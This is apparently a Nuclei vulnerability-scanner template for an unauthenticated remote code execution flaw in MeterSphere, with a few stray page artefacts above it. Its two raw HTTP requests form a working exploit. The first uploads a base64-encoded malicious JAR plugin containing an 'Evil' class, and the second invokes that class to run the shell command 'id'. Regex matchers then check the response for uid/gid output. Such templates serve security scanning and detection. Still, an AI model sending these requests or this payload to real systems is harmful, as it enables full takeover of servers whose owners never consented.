68 lines
4.9 KiB
YAML
68 lines
4.9 KiB
YAML
id: metersphere-plugin-rce
|
|
|
|
info:
|
|
name: MeterSphere - Remote Code Execution
|
|
author: pdteam,y4er
|
|
severity: critical
|
|
description: MeterSphere is susceptible to remote code execution.
|
|
reference:
|
|
- https://y4er.com/post/metersphere-plugincontroller-pre-auth-rce/
|
|
- https://github.com/metersphere/metersphere
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10.0
|
|
cve-id:
|
|
cwe-id: CWE-77
|
|
tags: metersphere,rce,intrusive
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /plugin/add HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryreButJNjkCniQExX
|
|
|
|
------WebKitFormBoundaryreButJNjkCniQExX
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jar"
|
|
Content-Type: application/octet-stream
|
|
|
|
{{base64_decode("UEsDBAoAAAAAANZKJ1QAAAAAAAAAAAAAAAAJAAAATUVUQS1JTkYvUEsDBAoAAAAIANVKJ1TmKFs3agAAAIEAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUbzTczLTEstLtENSy0qzszPs1Iw1DPg5XIsSs7ILEstQggH5KRWlBYrwCR4uZxKM3NKdJ0qrRRSUlJ4uZyLUhNLUlPAAo4FickZqQq+iWWpeQrGehZ6hhDlKbpeKdkgGyz0DOKNDYGivFwAUEsDBAoAAAAIANZKJ1Ri7akpXgMAABwGAAAKAAAARXZpbC5jbGFzc31U2VrTQBg9021KCBTLIrjjWhSoC4hSxAVRqy0gFSTilqYjBNoE08RPn4hbvQGUTy+98Fl8BvGftEIL/czFJHPOv578M7/+fPsBYAh5BYcxwnFDQQAjCm5ilCMVxVgUt+RunOM2xx0Fd3FPgYIJBU24H8WkfD9oxkM8kl9pjscK4ngSRU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SwECFAMKAAAAAADWSidUAAAAAAAAAAAAAAAADwAAAAAAAAAAABAA//9JBAAATUVUQS1JTkYvbWF2ZW4vUEsBAhQDCgAAAAAA1konVAAAAAAAAAAAAAAAABsAAAAAAAAAAAAQAP//dgQAAE1FVEEtSU5GL21hdmVuL29yZy5leGFtcGxlL1BLAQIUAwoAAAAAANZKJ1QAAAAAAAAAAAAAAAAjAAAAAAAAAAAAEAD//68EAABNRVRBLUlORi9tYXZlbi9vcmcuZXhhbXBsZS9ldmlsamFyL1BLAQIUAwoAAAAIAMJIJ1RS/rFMFgEAADsCAAAqAAAAAAAAAAAAAACkgfAEAABNRVRBLUlORi9tYXZlbi9vcmcuZXhhbXBsZS9ldmlsamFyL3BvbS54bWxQSwECFAMKAAAACABrSSdUR8+qp3MAAABzAAAAMQAAAAAAAAAAAAAApIFOBgAATUVUQS1JTkYvbWF2ZW4vb3JnLmV4YW1wbGUvZXZpbGphci9wb20ucHJvcGVydGllc1BLBQYAAAAACAAIAD8CAAAQBwAAAAA=")}}
|
|
------WebKitFormBoundaryreButJNjkCniQExX
|
|
Content-Disposition: form-data; name="request"; filename="blob"
|
|
Content-Type: application/json
|
|
|
|
null
|
|
------WebKitFormBoundaryreButJNjkCniQExX--
|
|
|
|
- |
|
|
POST /plugin/customMethod HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/json
|
|
|
|
{"entry":"Evil","request":"id"}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"data":'
|
|
- '"success":true'
|
|
condition: and
|
|
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
|
|
# Enhanced by mp on 2022/05/26
|